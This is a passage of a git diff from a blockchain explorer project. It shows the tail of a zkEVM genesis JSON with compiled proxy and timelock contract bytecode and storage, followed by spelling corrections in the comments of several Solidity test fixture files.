0523d82523d6000602084013e610379565b606091505b509150915061038a86838387610455565b9695505050505050565b341561017757600080fd5b6103a8836104d3565b6000825111806103b55750805b156103c6576103c48383610179565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103f46101b7565b604080516001600160a01b03928316815291841660208301520160405180910390a161041f81610513565b50565b600061042c6105bc565b905090565b3660008037600080366000845af43d6000803e808015610450573d6000f35b3d6000fd5b606083156104c15782516104ba576001600160a01b0385163b6104ba5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161015e565b50816104cb565b6104cb83836105e4565b949350505050565b6104dc8161060e565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6001600160a01b0381166105785760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b606482015260840161015e565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101db565b8151156105f45781518083602001fd5b8060405162461bcd60e51b815260040161015e9190610823565b6001600160a01b0381163b61067b5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b606482015260840161015e565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61059b565b600080858511156106b257600080fd5b838611156106bf57600080fd5b5050820193919092039150565b80356001600160a01b03811681146106e357600080fd5b919050565b6000602082840312156106fa57600080fd5b61019e826106cc565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561072c57600080fd5b610735836106cc565b9150602083013567ffffffffffffffff8082111561075257600080fd5b818501915085601f83011261076657600080fd5b81358181111561077857610778610703565b604051601f8201601f19908116603f011681019083821181831017156107a0576107a0610703565b816040528281528860208487010111156107b957600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b60005b838110156107f65781810151838201526020016107de565b838111156103c45750506000910152565b600082516108198184602087016107db565b9190910192915050565b60208152600082518060208401526108428160408501602087016107db565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122012bb4f564f73959a03513dc74fc3c6e40e8386e6f02c16b78d6db00ce0aa16af64736f6c63430008090033", + "storage": { + "0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103": "0x000000000000000000000000fe3306bb4124e90ea08af2776008592052ecb9e0", + "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc": "0x0000000000000000000000003c26af9e85715f5767ba566aaa4dfcd9c4a2fc1a" + } + }, + { + "contractName": "PolygonZkEVMTimelock", + "balance": "0", + "nonce": "1", + "address": "0x7D38458ED6b9B04A999E86057143C5fAa0D259E9", + "bytecode": "0x6080604052600436106101bd575f3560e01c806364d62353116100f2578063b1c5f42711610092578063d547741f11610062578063d547741f1461063a578063e38335e514610659578063f23a6e611461066c578063f27a0c92146106b0575f80fd5b8063b1c5f4271461058d578063bc197c81146105ac578063c4d252f5146105f0578063d45c44351461060f575f80fd5b80638f61f4f5116100cd5780638f61f4f5146104c557806391d14854146104f8578063a217fddf14610547578063b08e51c01461055a575f80fd5b806364d62353146104685780638065657f146104875780638f2a0bb0146104a6575f80fd5b8063248a9ca31161015d57806331d507501161013857806331d50750146103b357806336568abe146103d25780633a6aae72146103f1578063584b153e14610449575f80fd5b8063248a9ca3146103375780632ab0f529146103655780632f2ff15d14610394575f80fd5b80630d3cf6fc116101985780630d3cf6fc1461025e578063134008d31461029157806313bc9f20146102a4578063150b7a02146102c3575f80fd5b806301d5062a146101c857806301ffc9a7146101e957806307bd02651461021d575f80fd5b366101c457005b5f80fd5b3480156101d3575f80fd5b506101e76101e2366004611bf6565b6106c4565b005b3480156101f4575f80fd5b50610208610203366004611c65565b610757565b60405190151581526020015b60405180910390f35b348015610228575f80fd5b506102507fd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e6381565b604051908152602001610214565b348015610269575f80fd5b506102507f5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca581565b6101e761029f366004611ca4565b6107b2565b3480156102af575f80fd5b506102086102be366004611d0b565b6108a7565b3480156102ce575f80fd5b506103066102dd366004611e28565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040517fffffffff000000000000000000000000000000000000000000000000000000009091168152602001610214565b348015610342575f80fd5b50610250610351366004611d0b565b5f9081526020819052604090206001015490565b348015610370575f80fd5b5061020861037f366004611d0b565b5f908152600160208190526040909120541490565b34801561039f575f80fd5b506101e76103ae366004611e8c565b6108cc565b3480156103be575f80fd5b506102086103cd366004611d0b565b6108f5565b3480156103dd575f80fd5b506101e76103ec366004611e8c565b61090d565b3480156103fc575f80fd5b506104247f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610214565b348015610454575f80fd5b50610208610463366004611d0b565b6109c5565b348015610473575f80fd5b506101e7610482366004611d0b565b6109da565b348015610492575f80fd5b506102506104a1366004611ca4565b610aaa565b3480156104b1575f80fd5b506101e76104c0366004611ef7565b610ae8565b3480156104d0575f80fd5b506102507fb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc181565b348015610503575f80fd5b50610208610512366004611e8c565b5f9182526020828152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b348015610552575f80fd5b506102505f81565b348015610565575f80fd5b506102507ffd643c72710c63c0180259aba6b2d05451e3591a24e58b62239378085726f78381565b348015610598575f80fd5b506102506105a7366004611fa0565b610d18565b3480156105b7575f80fd5b506103066105c63660046120be565b7fbc197c810000000000000000000000000000000000000000000000000000000095945050505050565b3480156105fb575f80fd5b506101e761060a366004611d0b565b610d5c565b34801561061a575f80fd5b50610250610629366004611d0b565b5f9081526001602052604090205490565b348015610645575f80fd5b506101e7610654366004611e8c565b610e56565b6101e7610667366004611fa0565b610e7a565b348015610677575f80fd5b50610306610686366004612161565b7ff23a6e610000000000000000000000000000000000000000000000000000000095945050505050565b3480156106bb575f80fd5b50610250611121565b7fb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc16106ee81611200565b5f6106fd898989898989610aaa565b9050610709818461120d565b5f817f4cf4410cc57040e44862ef0f45f3dd5a5e02db8eb8add648d4b0e236f1d07dca8b8b8b8b8b8a60405161074496959493929190612208565b60405180910390a3505050505050505050565b5f7fffffffff0000000000000000000000000000000000000000000000000000000082167f4e2312e00000000000000000000000000000000000000000000000000000000014806107ac57506107ac82611359565b92915050565b5f80527fdae2aa361dfd1ca020a396615627d436107c35eff9fe7738a3512819782d70696020527f5ba6852781629bcdcd4bdaa6de76d786f1c64b16acdac474e55bebc0ea157951547fd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e639060ff1661082e5761082e81336113ef565b5f61083d888888888888610aaa565b905061084981856114a6565b610855888888886115e2565b5f817fc2617efa69bab66782fa219543714338489c4e9e178271560a91b82c3f612b588a8a8a8a60405161088c9493929190612252565b60405180910390a361089d816116e2565b5050505050505050565b5f818152600160205260408120546001811180156108c55750428111155b9392505050565b5f828152602081905260409020600101546108e681611200565b6108f0838361178a565b505050565b5f8181526001602052604081205481905b1192915050565b73ffffffffffffffffffffffffffffffffffffffff811633146109b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c66000000000000000000000000000000000060648201526084015b60405180910390fd5b6109c18282611878565b5050565b5f818152600160208190526040822054610906565b333014610a69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f54696d656c6f636b436f6e74726f6c6c65723a2063616c6c6572206d7573742060448201527f62652074696d656c6f636b00000000000000000000000000000000000000000060648201526084016109ae565b60025460408051918252602082018390527f11c24f4ead16507c69ac467fbd5e4eed5fb5c699626d2cc6d66421df253886d5910160405180910390a1600255565b5f868686868686604051602001610ac696959493929190612208565b6040516020818303038152906040528051906020012090509695505050505050565b7fb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1610b1281611200565b888714610ba1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f54696d656c6f636b436f6e74726f6c6c65723a206c656e677468206d69736d6160448201527f746368000000000000000000000000000000000000000000000000000000000060648201526084016109ae565b888514610c30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f54696d656c6f636b436f6e74726f6c6c65723a206c656e677468206d69736d6160448201527f746368000000000000000000000000000000000000000000000000000000000060648201526084016109ae565b5f610c418b8b8b8b8b8b8b8b610d18565b9050610c4d818461120d565b5f5b8a811015610d0a5780827f4cf4410cc57040e44862ef0f45f3dd5a5e02db8eb8add648d4b0e236f1d07dca8e8e85818110610c8c57610c8c612291565b9050602002016020810190610ca191906122be565b8d8d86818110610cb357610cb3612291565b905060200201358c8c87818110610ccc57610ccc612291565b9050602002810190610cde91906122d7565b8c8b604051610cf296959493929190612208565b60405180910390a3610d0381612365565b9050610c4f565b505050505050505050505050565b5f8888888888888888604051602001610d38989796959493929190612447565b60405160208183030381529060405280519060200120905098975050505050505050565b7ffd643c72710c63c0180259aba6b2d05451e3591a24e58b62239378085726f783610d8681611200565b610d8f826109c5565b610e1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f54696d656c6f636b436f6e74726f6c6c65723a206f7065726174696f6e20636160448201527f6e6e6f742062652063616e63656c6c656400000000000000000000000000000060648201526084016109ae565b5f828152600160205260408082208290555183917fbaa1eb22f2a492ba1a5fea61b8df4d27c6c8b5f3971e63bb58fa14ff72eedb7091a25050565b5f82815260208190526040902060010154610e7081611200565b6108f08383611878565b5f80527fdae2aa361dfd1ca020a396615627d436107c35eff9fe7738a3512819782d70696020527f5ba6852781629bcdcd4bdaa6de76d786f1c64b16acdac474e55bebc0ea157951547fd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e639060ff16610ef657610ef681336113ef565b878614610f85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f54696d656c6f636b436f6e74726f6c6c65723a206c656e677468206d69736d6160448201527f746368000000000000000000000000000000000000000000000000000000000060648201526084016109ae565b878414611014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f54696d656c6f636b436f6e74726f6c6c65723a206c656e677468206d69736d6160448201527f746368000000000000000000000000000000000000000000000000000000000060648201526084016109ae565b5f6110258a8a8a8a8a8a8a8a610d18565b905061103181856114a6565b5f5b8981101561110b575f8b8b8381811061104e5761104e612291565b905060200201602081019061106391906122be565b90505f8a8a8481811061107857611078612291565b905060200201359050365f8a8a8681811061109557611095612291565b90506020028101906110a791906122d7565b915091506110b7848484846115e2565b84867fc2617efa69bab66782fa219543714338489c4e9e178271560a91b82c3f612b58868686866040516110ee9493929190612252565b60405180910390a3505050508061110490612365565b9050611033565b50611115816116e2565b50505050505050505050565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16158015906111ef57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166315064c966040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ef919061250c565b156111f957505f90565b5060025490565b61120a81336113ef565b50565b611216826108f5565b156112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f54696d656c6f636b436f6e74726f6c6c65723a206f7065726174696f6e20616c60448201527f7265616479207363686564756c6564000000000000000000000000000000000060648201526084016109ae565b6112ab611121565b81101561133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f54696d656c6f636b436f6e74726f6c6c65723a20696e73756666696369656e7460448201527f2064656c6179000000000000000000000000000000000000000000000000000060648201526084016109ae565b611344814261252b565b5f928352600160205260409092209190915550565b5f7fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b0000000000000000000000000000000000000000000000000000000014806107ac57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316146107ac565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff166109c15761142c8161192d565b61143783602061194c565b604051602001611448929190612560565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a00000000000000000000000000000000000000000000000000000000082526109ae916004016125e0565b6114af826108a7565b61153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f54696d656c6f636b436f6e74726f6c6c65723a206f7065726174696f6e20697360448201527f206e6f742072656164790000000000000000000000000000000000000000000060648201526084016109ae565b80158061155657505f81815260016020819052604090912054145b6109c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f54696d656c6f636b436f6e74726f6c6c65723a206d697373696e67206465706560448201527f6e64656e6379000000000000000000000000000000000000000000000000000060648201526084016109ae565b5f8473ffffffffffffffffffffffffffffffffffffffff1684848460405161160b929190612630565b5f6040518083038185875af1925050503d805f8114611645576040519150601f19603f3d011682016040523d82523d5f602084013e61164a565b606091505b50509050806116db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603360248201527f54696d656c6f636b436f6e74726f6c6c65723a20756e6465726c79696e67207460448201527f72616e73616374696f6e2072657665727465640000000000000000000000000060648201526084016109ae565b5050505050565b6116eb816108a7565b611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f54696d656c6f636b436f6e74726f6c6c65723a206f7065726174696f6e20697360448201527f206e6f742072656164790000000000000000000000000000000000000000000060648201526084016109ae565b5f90815260016020819052604090912055565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff166109c1575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168452909152902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905561181a3390565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b5f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16156109c1575f8281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60606107ac73ffffffffffffffffffffffffffffffffffffffff831660145b60605f61195a83600261263f565b61196590600261252b565b67ffffffffffffffff81111561197d5761197d611d22565b6040519080825280601f01601f1916602001820160405280156119a7576020820181803683370190505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f815181106119dd576119dd612291565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611a3f57611a3f612291565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f611a7984600261263f565b611a8490600161252b565b90505b6001811115611b20577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110611ac557611ac5612291565b1a60f81b828281518110611adb57611adb612291565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535060049490941c93611b1981612656565b9050611a87565b5083156108c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016109ae565b803573ffffffffffffffffffffffffffffffffffffffff81168114611bac575f80fd5b919050565b5f8083601f840112611bc1575f80fd5b50813567ffffffffffffffff811115611bd8575f80fd5b602083019150836020828501011115611bef575f80fd5b9250929050565b5f805f805f805f60c0888a031215611c0c575f80fd5b611c1588611b89565b965060208801359550604088013567ffffffffffffffff811115611c37575f80fd5b611c438a828b01611bb1565b989b979a50986060810135976080820135975060a09091013595509350505050565b5f60208284031215611c75575f80fd5b81357fffffffff00000000000000000000000000000000000000000000000000000000811681146108c5575f80fd5b5f805f805f8060a08789031215611cb9575f80fd5b611cc287611b89565b955060208701359450604087013567ffffffffffffffff811115611ce4575f80fd5b611cf089828a01611bb1565b979a9699509760608101359660809091013595509350505050565b5f60208284031215611d1b575f80fd5b5035919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715611d9657611d96611d22565b604052919050565b5f82601f830112611dad575f80fd5b813567ffffffffffffffff811115611dc757611dc7611d22565b611df860207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601611d4f565b818152846020838601011115611e0c575f80fd5b816020850160208301375f918101602001919091529392505050565b5f805f8060808587031215611e3b575f80fd5b611e4485611b89565b9350611e5260208601611b89565b925060408501359150606085013567ffffffffffffffff811115611e74575f80fd5b611e8087828801611d9e565b91505092959194509250565b5f8060408385031215611e9d575f80fd5b82359150611ead60208401611b89565b90509250929050565b5f8083601f840112611ec6575f80fd5b50813567ffffffffffffffff811115611edd575f80fd5b6020830191508360208260051b8501011115611bef575f80fd5b5f805f805f805f805f60c08a8c031215611f0f575f80fd5b893567ffffffffffffffff80821115611f26575f80fd5b611f328d838e01611eb6565b909b50995060208c0135915080821115611f4a575f80fd5b611f568d838e01611eb6565b909950975060408c0135915080821115611f6e575f80fd5b50611f7b8c828d01611eb6565b9a9d999c50979a969997986060880135976080810135975060a0013595509350505050565b5f805f805f805f8060a0898b031215611fb7575f80fd5b883567ffffffffffffffff80821115611fce575f80fd5b611fda8c838d01611eb6565b909a50985060208b0135915080821115611ff2575f80fd5b611ffe8c838d01611eb6565b909850965060408b0135915080821115612016575f80fd5b506120238b828c01611eb6565b999c989b509699959896976060870135966080013595509350505050565b5f82601f830112612050575f80fd5b8135602067ffffffffffffffff82111561206c5761206c611d22565b8160051b61207b828201611d4f565b9283528481018201928281019087851115612094575f80fd5b83870192505b848310156120b35782358252918301919083019061209a565b979650505050505050565b5f805f805f60a086880312156120d2575f80fd5b6120db86611b89565b94506120e960208701611b89565b9350604086013567ffffffffffffffff80821115612105575f80fd5b61211189838a01612041565b94506060880135915080821115612126575f80fd5b61213289838a01612041565b93506080880135915080821115612147575f80fd5b5061215488828901611d9e565b9150509295509295909350565b5f805f805f60a08688031215612175575f80fd5b61217e86611b89565b945061218c60208701611b89565b93506040860135925060608601359150608086013567ffffffffffffffff8111156121b5575f80fd5b61215488828901611d9e565b81835281816020850137505f602082840101525f60207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b73ffffffffffffffffffffffffffffffffffffffff8716815285602082015260a060408201525f61223d60a0830186886121c1565b60608301949094525060800152949350505050565b73ffffffffffffffffffffffffffffffffffffffff85168152836020820152606060408201525f6122876060830184866121c1565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f602082840312156122ce575f80fd5b6108c582611b89565b5f8083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261230a575f80fd5b83018035915067ffffffffffffffff821115612324575f80fd5b602001915036819003821315611bef575f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361239557612395612338565b5060010190565b8183525f6020808501808196508560051b81019150845f5b8781101561243a57828403895281357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18836030181126123f2575f80fd5b8701858101903567ffffffffffffffff81111561240d575f80fd5b80360382131561241b575f80fd5b6124268682846121c1565b9a87019a95505050908401906001016123b4565b5091979650505050505050565b60a080825281018890525f8960c08301825b8b8110156124945773ffffffffffffffffffffffffffffffffffffffff61247f84611b89565b16825260209283019290910190600101612459565b5083810360208501528881527f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8911156124cc575f80fd5b8860051b9150818a602083013701828103602090810160408501526124f4908201878961239c565b60608401959095525050608001529695505050505050565b5f6020828403121561251c575f80fd5b815180151581146108c5575f80fd5b808201808211156107ac576107ac612338565b5f5b83811015612558578181015183820152602001612540565b50505f910152565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081525f835161259781601785016020880161253e565b7f206973206d697373696e6720726f6c652000000000000000000000000000000060179184019182015283516125d481602884016020880161253e565b01602801949350505050565b602081525f82518060208401526125fe81604085016020870161253e565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b818382375f9101908152919050565b80820281158282048414176107ac576107ac612338565b5f8161266457612664612338565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019056fea2646970667358221220d904e0b10230579952f8427a107aa4349f9a1f5799108d399b11e28b578463e464736f6c63430008140033", + "storage": { + "0x0000000000000000000000000000000000000000000000000000000000000002": "0x0000000000000000000000000000000000000000000000000000000000000e10", + "0x6004ee6a16227fd0e871b5f914d8433417e16ad83654d913c1ba69cc35c2132e": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0xf5f0a218cd667c05e379a91ca023db2743ccc055fbfe1d11963ca6b052736ab1": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0x64494413541ff93b31aa309254e3fed72a7456e9845988b915b4c7a7ceba8814": "0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5", + "0x9db27d76cb60f110b9a2cbcd55f6b5d54993c33cefeaa1979d0bdfd0218c8e9e": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0x3412d5605ac6cd444957cedb533e5dacad6378b4bc819ebe3652188a665066d6": "0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5", + "0x3b674ad523dadae6f60882426711ee3b02fd243e4a8e114dfdd20da2bcc3899d": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0xdae2aa361dfd1ca020a396615627d436107c35eff9fe7738a3512819782d706a": "0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5", + "0xf825292247308a48f73de280a1dc14cbea6657baa530dcfbfa562b981b9cda2f": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0xc3ad33e20b0c56a223ad5104fff154aa010f8715b9c981fd38fdc60a4d1a52fc": "0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5" + } + }, + { + "accountName": "keyless Deployer", + "balance": "0", + "nonce": "1", + "address": "0x6a8F29BB59c1cf00b263691500AC93c867DAD915" + }, + { + "accountName": "deployer", + "balance": "0", + "nonce": "8", + "address": "0x56b9Eaf5D19639ACc16C6373C66e5a1F61CF29b6" + } + ], + "l1Config": { + "chainId": 11155111, + "polygonZkEVMAddress": "0xCE5622f775cF645C179B7Fe189D6a87307A11e05", + "maticTokenAddress": "0x7fee073b978A6AAe2deF14c9A2BB73BD1E39e29c", + "polygonZkEVMGlobalExitRootAddress": "0xD1709c00280E57Cb88CcA035f5f3a5f7EFdC2dfC" + }, + "genesisBlockNumber": 4482328 +} \ No newline at end of file diff --git a/apps/explorer/test/support/fixture/smart_contract/ERC677.sol b/apps/explorer/test/support/fixture/smart_contract/ERC677.sol index e999f2b306c5..6e3f6241abee 100644 --- a/apps/explorer/test/support/fixture/smart_contract/ERC677.sol +++ b/apps/explorer/test/support/fixture/smart_contract/ERC677.sol @@ -64,7 +64,7 @@ interface IERC677MultiBridgeToken { * specific functions. * * This module is used through inheritance. It will make available the modifier -* `onlyOwner`, which can be aplied to your functions to restrict their use to +* `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { @@ -579,7 +579,7 @@ contract ERC20 is IERC20 { } /** - * @dev Destoys `amount` tokens from `account`, reducing the + * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. @@ -619,7 +619,7 @@ contract ERC20 is IERC20 { } /** - * @dev Destoys `amount` tokens from `account`.`amount` is then deducted + * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. @@ -1160,4 +1160,4 @@ contract ERC677MultiBridgeToken is IERC677MultiBridgeToken, ERC677BridgeToken { function isBridge(address _address) public view returns (bool) { return _address != F_ADDR && bridgePointers[_address] != address(0); } -} \ No newline at end of file +} diff --git a/apps/explorer/test/support/fixture/smart_contract/issue_3082.sol b/apps/explorer/test/support/fixture/smart_contract/issue_3082.sol index 7a06a2bfb48b..b0040d68a1a8 100644 --- a/apps/explorer/test/support/fixture/smart_contract/issue_3082.sol +++ b/apps/explorer/test/support/fixture/smart_contract/issue_3082.sol @@ -28,7 +28,7 @@ interface IERC677MultiBridgeToken { * specific functions. * * This module is used through inheritance. It will make available the modifier - * `onlyOwner`, which can be aplied to your functions to restrict their use to + * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { @@ -591,4 +591,4 @@ contract Distribution is Ownable, IDistribution { revert("invalid address"); } } -} \ No newline at end of file +} diff --git a/apps/explorer/test/support/fixture/smart_contract/issue_4758.sol b/apps/explorer/test/support/fixture/smart_contract/issue_4758.sol index 7c56446e505d..75c7dd5312b8 100644 --- a/apps/explorer/test/support/fixture/smart_contract/issue_4758.sol +++ b/apps/explorer/test/support/fixture/smart_contract/issue_4758.sol @@ -294,7 +294,7 @@ interface IERC721Enumerable is IERC721 { * * Use this as follows (registryAddress is the address of the ENS registry to use): * ----- - * // This hex value is caclulated by namehash('addr.reverse') + * // This hex value is calculated by namehash('addr.reverse') * bytes32 public constant ENS_ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; * function registerReverseENS(address registryAddress, string memory calldata) external { * require(registryAddress != address(0), "need a valid registry"); diff --git a/apps/explorer/test/support/fixture/smart_contract/issue_5114.sol b/apps/explorer/test/support/fixture/smart_contract/issue_5114.sol index 942bf82fbd21..96eccc3b0871 100644 --- a/apps/explorer/test/support/fixture/smart_contract/issue_5114.sol +++ b/apps/explorer/test/support/fixture/smart_contract/issue_5114.sol @@ -16,7 +16,7 @@ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * - * This function does not return to its internall call site, it will return directly to the external caller. + * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly @@ -41,7 +41,7 @@ abstract contract Proxy { } /** - * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function + * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); @@ -49,7 +49,7 @@ abstract contract Proxy { /** * @dev Delegates the current call to the address returned by `_implementation()`. * - * This function does not return to its internall call site, it will return directly to the external caller. + * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); @@ -76,7 +76,7 @@ abstract contract Proxy { * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * - * If overriden should call `super._beforeFallback()`. + * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } @@ -555,7 +555,7 @@ contract ERC1967Proxy is Proxy, ERC1967Upgrade { * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded - * function call, and allows initializating the storage of the proxy like a Solidity constructor. + * function call, and allows initializing the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); diff --git a/apps/explorer/test/support/fixture/smart_contract/issue_with_constructor_args.sol b/apps/explorer/test/support/fixture/smart_contract/issue_with_constructor_args.sol index 58ab19969526..0b094acf52bf 100644 --- a/apps/explorer/test/support/fixture/smart_contract/issue_with_constructor_args.sol +++ b/apps/explorer/test/support/fixture/smart_contract/issue_with_constructor_args.sol @@ -292,7 +292,7 @@ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * - * This function does not return to its internall call site, it will return directly to the external caller. + * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly @@ -317,7 +317,7 @@ abstract contract Proxy { } /** - * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function + * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); @@ -325,7 +325,7 @@ abstract contract Proxy { /** * @dev Delegates the current call to the address returned by `_implementation()`. * - * This function does not return to its internall call site, it will return directly to the external caller. + * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); @@ -352,7 +352,7 @@ abstract contract Proxy { * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * - * If overriden should call `super._beforeFallback()`. + * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } @@ -557,7 +557,7 @@ abstract contract ERC1967Upgrade { * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded - * function call, and allows initializating the storage of the proxy like a Solidity constructor. + * function call, and allows initializing the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory 